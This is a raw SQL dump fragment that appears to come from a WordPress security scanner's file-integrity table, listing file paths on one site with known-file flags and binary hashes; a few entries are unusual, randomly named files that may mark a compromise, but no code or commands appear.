('劈l V֯','wp-content/plugins/simpletoc/build/index.asset.php','/home/trevorkl/trevorklee.com/wp-content/plugins/simpletoc/build/index.asset.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`\Zڲ6\r&y','b 4+wfs[윰)H}d?\Zç1','',0,'?'),
('ܖƭrg-4^','wp-content/themes/twentytwentytwo/assets/images/bird-on-gray.jpg','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/bird-on-gray.jpg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}GOJH\nb','M)ZB?>EL5BPNot@','',0,'?'),
('*.E\05P5#p','wp-content/.rs_g1/.rs_connector.php.bak','/home/trevorkl/trevorklee.com/wp-content/.rs_g1/.rs_connector.php.bak',0,'V(6Q#d0','V(6Q#d0','m,ߥVX!{5}=ev','',0,'?'),
('CZ[}\"\rj4','wp-includes/js/dist/vendor/regenerator-runtime.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/vendor/regenerator-runtime.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"$}&Sfx','龑v4XKG:*9Z /w\r$','',0,'?'),
('\"c)j\"','wp-includes/js/wplink.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/wplink.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Jj4#','juQ،KpT%\\љ(D1~*a	','',0,'?'),
('\ZG/\'{','wp-content/plugins/loginizer/assets/css/social-admin.css','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/assets/css/social-admin.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`^96]9	','^D]0-*n\'reQC','',0,'?'),
('&n7,H{GA2','wp-includes/sodium_compat/src/Core/AES/Expanded.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&EWxG6?','ui~H8MQ5W6','',0,'?'),
('=@\\JpQm\\6','wp-admin/includes/class-wp-upgrader-skin.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-upgrader-skin.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.Q+>;_4q','F\rE&x(k&͕mkix{&.q<','',0,'?'),
('L#aW ','wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','WNOoSR',';׽@FZ$@Kxo!Lǵa','',0,'?'),
('[?$G05D','wp-content/wp-blog-header.php','/home/trevorkl/trevorklee.com/wp-content/wp-blog-header.php',0,'/&&7','/&&7','4g FGF3t=[\n!J/}U_','',0,'?'),
('bz/T7aHy','wp-includes/js/mediaelement/mejs-controls.svg','/home/trevorkl/trevorklee.com/wp-includes/js/mediaelement/mejs-controls.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^yq+S%y','hA3L:\'1ꁠ\\','',0,'?'),
('q%ű m+','wp-admin/css/colors/light/colors-rtl.css','/home/trevorkl/trevorklee.com/wp-admin/css/colors/light/colors-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.Kl-(',')8\\@dhŋTxk;4/#S`','',0,'?'),
('ߌ(2','wp-includes/js/quicktags.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/quicktags.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ɗLK/W','AV1ʾFe4,ų5e\Z','',0,'?'),
('ߔHu&','wp-includes/js/plupload/plupload.js','/home/trevorkl/trevorklee.com/wp-includes/js/plupload/plupload.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ݠ$pZR>\'|','\"8[J%.˚cV\r\rE)\'','',0,'?'),
('ߗQu!ٶx[','wp-includes/js/wpdialog.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/wpdialog.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%EW@','&C%(B\Zt]h˾3','',0,'?'),
('ߧJ}AɵZB','wp-includes/Text/Diff/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/Text/Diff/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('߰Sh[۳','wp-includes/class-wp-http-streams.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-http-streams.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>,Q1(^=','¡\\Í\Z降H\ZoͦFNȡ','',0,'?'),
('ߴS8AТ','wp-includes/js/jquery/ui/autocomplete.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/autocomplete.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','m!l6!#*7ʘ',':FOٵHΙ[GkVܫ|q7#','',0,'?'),
('߶=\'ۂcgn','wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`At]@.tga\"','|\\{U&]WHdLawB ','',0,'?'),
('߹V=\"#n	','wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/parser/lexer.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/parser/lexer.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_-T\02L-','ȴgA]z-ۣ᷸[','',0,'?'),
('fyڸyYnC','wp-includes/style-engine/class-wp-style-engine-css-rules-store.php','/home/trevorkl/trevorklee.com/wp-includes/style-engine/class-wp-style-engine-css-rules-store.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5\"uqxm4','[;\"!d`mg0ć','',0,'?'),
('0ii\"zagy','wp-content/plugins/loginizer/main/social-login.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/main/social-login.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!9NսI/','!ڪW.<|=U`4 e ZS','',0,'?'),
('ĵ>#Bb','wp-includes/sodium_compat/src/Core32/Curve25519/Ge/P3.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Curve25519/Ge/P3.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ۓGc,=c^','Gct(5\n,9%)e','',0,'?'),
('Ȧ0 $7O>','wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','o*24X\0]E','\n.v.P^hxε+cOYY','',0,'?'),
('G]9e7(','wp-content/themes/twentytwentyone/assets/sass/05-blocks/latest-posts/_style.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/latest-posts/_style.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>a7:ל{Zh','\"[3[@\'`$IpE.ҹS{\"$0','',0,'?'),
('Yvz֗*9a','wp-includes/js/jquery/ui/tooltip.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/tooltip.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']#1D.{','6vV>o>,k;)r4e','',0,'?'),
('e\n*v','wp-includes/blocks/comments/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','00ԳPCȆE{?','yFXm_y)/<&carU!\rGw\n','',0,'?'),
('$dpC','wp-content/themes/twentytwentyone/assets/sass/05-blocks/blocks-editor.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/blocks-editor.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','w2\'ud}','ƵIg\"ʧ[ r8pVgR~()','',0,'?'),
('C(&pm]x','wp-includes/js/tinymce/plugins/wordpress/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/wordpress/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('~$ojcE','wp-includes/blocks/accordion-heading/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/accordion-heading/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Semdb4v','LS\"ot[\'j~O1\"hr:N0s','',0,'?'),
('eş+\r	','wp-content/themes/twentytwentyone/assets/sass/02-tools/functions.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/02-tools/functions.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~/+(7D',')vIya\"?@vpYAqJ>','',0,'?'),
('-w=S','wp-includes/css/dist/edit-widgets/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-widgets/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6{J}s','$/48Z+b\ZMGH&_[l	','',0,'?'),
('+mk#.f@','wp-includes/blocks/query-total.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-total.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.j3(!\\g','#dXq\\\rlm{B\0F','',0,'?'),
(':麃Hy','wp-includes/js/dist/vendor/wp-polyfill-inert.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/vendor/wp-polyfill-inert.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','l٠52*ʞ','s\ruu\'mF^<xp\0(.qo','',0,'?'),
('\ZtUR\r\"C','wp-includes/blocks/avatar/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/avatar/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',';ʘ_?n','5Ђiv;lJMIp','',0,'?'),
('%f\\+,\0\\Y','wp-admin/includes/class-wp-filesystem-base.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-filesystem-base.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Xdh{4;$P','K(RyUpl{{A5Z','',0,'?'),
('*\'Kj̰!c','wp-content/plugins/wordfence/waf/pomo/plural-forms.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/waf/pomo/plural-forms.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','P!7GǊq`.','.\n)[.cf\r\rFZk','',0,'?'),
('-#GhUM*Hk$','wp-includes/js/dist/script-modules/edit-site-init/index.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/edit-site-init/index.min.js',0,'<)h','<)h','KLW(/VL>zq!v\r','',0,'?'),
('?7`9Å','wp-content/themes/twentytwentyone/assets/sass/05-blocks/table/_style.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/table/_style.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"IfDS~Ee;\"','-L\\Z%Er_^nniWB-mC5A','',0,'?'),
('O*Ҟ9;','wp-includes/blocks/embed/theme-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/embed/theme-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','AgL/Оg\n','t#`B!I~{^!y|oâF','',0,'?'),
('XLtCc-','wp-includes/blocks/query/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/query/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','B8CЌPA5','p	G\"9<VɏNŌ\\','',0,'?'),
('\\1݃%VE|<N','wp-content/plugins/wordfence/modules/login-security/img/loading.gif','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/img/loading.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','K:m𙗣P','j*edoX~7&N9|L','',0,'?'),
('`oΰ@ߔj','wp-content/plugins/wordfence/lib/menu_tools_auditlog.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_tools_auditlog.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[\'42J','D.6ҚZVAx&Yo','',0,'?'),
('b)*iȈ$e','wp-includes/SimplePie/src/Cache/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Cache/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('i4ZlЃ @','wp-includes/css/dist/block-editor/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-editor/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','-sH4\\N','@>3sL8@(	&-m!ۉ','',0,'?'),
('rMܴ-\nS','wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/parser/parser.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/parser/parser.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','eRr#U犏','sGdlIB-?`7|rR3V','',0,'?'),
('telR7','wp-includes/class-wp-exception.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-exception.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`<-egf3!','4eVni4-ؠD|Qt}z','',0,'?'),
('࡯*^ZtQ:#','wp-content/themes/twentytwentyfive/patterns/template-home-text-blog.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-home-text-blog.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>>vqol','TcM$jއ󙱩04Ԍh0CbQ','',0,'?'),
('5f)+g֜','wp-content/.rs_g5/index.html','/home/trevorkl/trevorklee.com/wp-content/.rs_g5/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('bW-;','wp-content/plugins/wordfence/js/admin.1788880300.js','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/js/admin.1788880300.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ʹ=Va','Ч1R5paݿS쓀wQ;_4^t','',0,'?'),
('4sÉƍ\'','wp-includes/html-api/1xhyzgt/xahpzbq/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/html-api/1xhyzgt/xahpzbq/.htaccess',0,'q	n\03%Y','q	n\03%Y',';:3d$,KNnNpR6A','',0,'?'),
('^bRSI!?','wp-includes/class-wp-image-editor-imagick.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-image-editor-imagick.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','BzĠj','$W/g>\0`5וQjRGUlq','',0,'?'),
('6̬H4O$','wp-content/themes/twentytwentytwo/inc/patterns/general-list-events.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/general-list-events.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','yƵ_W^Z','ѡ	{n9WBO)gt(i','',0,'?'),
('.Þ{Nh#~+','wp-content/themes/twentytwentyfive/assets/images/grid-flower-2.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/grid-flower-2.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','u29c${','cʔ(qE.\Z\n<2<|','',0,'?'),
('sk6/н','wp-content/plugins/wordfence/lib/wfSupportController.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfSupportController.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&\'\"b[\\.L','11ΨJػmJZcv;!t','',0,'?'),
(',ebJ6U\\O','wp-includes/sodium_compat/src/Core/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('@M]\"iNJ','wp-includes/class-wp-http-requests-hooks.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-http-requests-hooks.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#X-tн','2:(@\'V){\0b;f_w','',0,'?'),
('TT9ܰ\nj~','wp-includes/blocks/query.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/query.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Gigj ','oqKQ{{	[?pe$B<','',0,'?'),
('Z(>(1bޫZ','wp-includes/js/tinymce/skins/lightgray/content.inline.min.css','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/lightgray/content.inline.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','lo7r79wAUE','EP[xv1i0h;^J','',0,'?'),
('\\m]I{B]','wp-content/plugins/wordfence/images/icons/check-premium.svg','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/icons/check-premium.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','߇`ީ:\rN','&y$fDz9ͧ|VqV','',0,'?'),
('\\$IH','wp-includes/js/jquery/jquery.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/jquery.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','n~*rO|','ix\nc .h\'.syo','',0,'?'),
('e:֬p6','wp-includes/js/dist/vendor/wp-polyfill.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/vendor/wp-polyfill.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Z>B֤ߗGQ','(3\ZâxlǨQM_s','',0,'?'),
('p|>$','wp-includes/js/tinymce/plugins/wpdialogs/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/wpdialogs/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('q@/ꦑٞ-M','wp-admin/network/site-users.php','/home/trevorkl/trevorklee.com/wp-admin/network/site-users.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','P= (','23	fL;u{N34m','',0,'?'),
('ᕵ7\\F|[El','wp-includes/sodium_compat/src/Core/Curve25519.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Curve25519.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Wp)m%7V`GЌ','~j*Y-R땱gH(m;qqaW\rSb','',0,'?'),
('a0P@a\\x-','wp-includes/blocks/social-link/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/social-link/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&VuYf\rXCuz','<^;ܕ\"M,gYJEYv!S\"','',0,'?'),
('>\n5Z','wp-includes/customize/class-wp-customize-image-control.php','/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-image-control.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','jf	˥^К','\nu8\rYY:\nVk.aGGoM','',0,'?'),
('ᦀqP:B%\r','wp-includes/blocks/cover/style-rel.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/cover/style-rel.css',0,'!$KT%','!$KT%','|\rF&_Ԃ́O\0\neZ','',0,'?'),
(';DthEG>H','wp-content/plugins/wordfence/modules/login-security/classes/model/view/title.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/view/title.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(VNMz\\G%,=','#_+ǢW\0AaRt9o','',0,'?'),
('m|yb','wp-includes/class-wp-recovery-mode-email-service.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-recovery-mode-email-service.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','BƩg%}wr','#\n`ApYǻGagD','',0,'?'),
('0ZHRC\n+U','wp-content/plugins/wordfence/views/scanner/text/issue-geoipSupport.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/text/issue-geoipSupport.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','z_h̽Վ','ꞙ2D~\nҜ\0 Z','',0,'?'),
('i4|?','wp-includes/blocks/details/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/details/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','m*cavSGbɦ','΁})?un4;[lwڜ=','',0,'?'),
('\"C*.','wp-content/plugins/wordfence/vendor/.htaccess','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/.htaccess',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','E\"xK{8dS','C\'r9@Kކtw#@k','',0,'?'),
('B\\}{\Z\Z?','wp-includes/sodium_compat/src/Core32/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('\\9ã>Iz4c','wp-includes/js/tinymce/plugins/hr/plugin.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/hr/plugin.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','k+%5l3!-','2`RiL#e؄46gpo~','',0,'?'),
('8\no','wp-content/themes/twentytwentyone/assets/css/style-dark-mode.css','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/css/style-dark-mode.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','><[k=V','ҟ?om kL5ڛ1.x\"_','',0,'?'),
('BKAa<l2','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Ge/P2.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Ge/P2.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','XߓŒ\"X36DQ','!l..GI\n7oeѿ\';I\n\n','',0,'?'),
('|GۘL@i}','wp-includes/css/dist/media-utils/style.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/media-utils/style.css',0,'F<\"f6kq-','F<\"f6kq-','qNhy1ؼBv\\.\\w{~~','',0,'?'),
('EK>Bm/1i','wp-includes/Requests/src/Exception/Transport.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Transport.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Hax','7C\rX\Z<w=,8rww{cm[M0D','',0,'?'),
('$,+KK!:$h','wp-content/themes/twentytwentyfour/templates/single.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/templates/single.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','l/HaK','KT5ئ׉g~Cv]j[Eo`','',0,'?'),
('D	e3ZP','wp-content/themes/twentytwentyfive/patterns/footer-columns.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/footer-columns.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','jk͓=ܧ@','Ll:C,.j-p@p~ra8XZ','',0,'?'),
('L>ٟ#{6p}Y','wp-admin/options-writing.php','/home/trevorkl/trevorklee.com/wp-admin/options-writing.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}>;LYMQZ!','6\0|q+t<*Y[uY~2N\\t','',0,'?'),
('U6υsd~x','wp-includes/sodium_compat/src/Core32/XChaCha20.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/XChaCha20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Y%RSTY','`-J\0P#M\"&o','',0,'?'),
('^}R	V7{WI\rH','wp-includes/blocks/search.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/search.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','J,SiRxV',';`Flg!niFm72e]q','',0,'?'),
('o	2!v','wp-includes/html-api/lpyi1nu/qounslr/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/html-api/lpyi1nu/qounslr/.htaccess',0,'q	n\03%Y','q	n\03%Y',';:3d$,KNnNpR6A','',0,'?'),
('y0H#;e\n\"+','wp-includes/js/dist/server-side-render.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/server-side-render.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','{U}kk}{8/','!I1U7]Wu6E2z+J]]s','',0,'?'),
('{K~ղŲۨ','wp-content/themes/twentytwentyone/assets/sass/05-blocks/gallery/_editor.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/gallery/_editor.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','k&};1','.v;q]m,\\ؔZr.\n{','',0,'?'),
('B|D','wp-content/themes/twentytwentythree/assets/fonts/source-serif-pro/SourceSerif4Variable-Italic.otf.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/source-serif-pro/SourceSerif4Variable-Italic.otf.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','W&hE5Ox','1\r*h\\BoB}_XD7','',0,'?'),
('⑦IH-','wp-includes/html-api/smzgnbc/vxswmkl/biodtqz/php.ini','/home/trevorkl/trevorklee.com/wp-includes/html-api/smzgnbc/vxswmkl/biodtqz/php.ini',0,'Psقdh#K','Psقdh#K',':Aa\'\rIۺw)}WtO','',0,'0'),
(':6de\'O','wp-content/themes/twentynineteen/sass/site/secondary/_widgets.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/site/secondary/_widgets.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' e>jֆ-[ڂ','LP88ظb\'Q,{mѥa@f','',0,'?'),
('ǡiKFǡE','wp-content/plugins/loginizer/main/settings/passwordless.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/main/settings/passwordless.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ptZPIBw!p','Z\"R:b@>HsO4z@9','',0,'?'),
('Za9Uzն','wp-includes/class-wp-date-query.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-date-query.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','VxNlf~3K','a2{MrWɭ&v','',0,'?'),
('-PF?:','wp-includes/blocks/comments/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5T	Ť̉}U','v̀WH?\ZDgx\"HͤkZj','',0,'?'),
('ĸ:,p1Hr','wp-admin/js/dashboard.js','/home/trevorkl/trevorklee.com/wp-admin/js/dashboard.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','0u\0FR,()','b4<K%ۋq^\0F8<*R','',0,'?'),
('#b^Ni&.','wp-includes/sitemaps/1xuftgv/dtrewsx/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/1xuftgv/dtrewsx/.htaccess',0,'q	n\03%Y','q	n\03%Y',';:3d$,KNnNpR6A','',0,'?'),
('\0וoxi3%\r+]kg','wp-admin/images/post-formats.png','/home/trevorkl/trevorklee.com/wp-admin/images/post-formats.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','K\0%3','9ƺ&]nEua]iFƳ','',0,'?'),
('5','wp-content/themes/twentytwentytwo/inc/patterns/header-text-only-green-background.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/header-text-only-green-background.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','v* Z@i','ZC(k\0-NUeo','',0,'?'),
('x\\5nW\n','wp-includes/blocks/embed/theme.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/embed/theme.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/P\\A8X','0EHCg\\,1m#5}','',0,'?'),
('*]{c$','wp-includes/js/dist/script-modules/boot/index.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/boot/index.min.asset.php',0,'I\"qSCo7~','I\"qSCo7~','!fQ.8E$+uy','',0,'?'),
('0;-,AEy','wp-includes/theme-compat/sidebar.php','/home/trevorkl/trevorklee.com/wp-includes/theme-compat/sidebar.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\t','1=UgPvX3a@b%o\\\'','',0,'?'),
('23D4/#\\K','wp-content/themes/twentytwentyfive/patterns/template-query-loop-photo-blog.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-query-loop-photo-blog.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1{~:2','fp	Zv61pkٔ0=2O1','',0,'?'),
('B\"^I\nhƜ','wp-includes/js/dist/dom.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/dom.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','p(?','b\ZObSh\\-D7\'X,3ogv7','',0,'?'),
('YКqK.3hҦ','wp-includes/blocks/footnotes/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/footnotes/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','# q7@vޑ','i	`\"TB]-Ywf],q','',0,'?'),
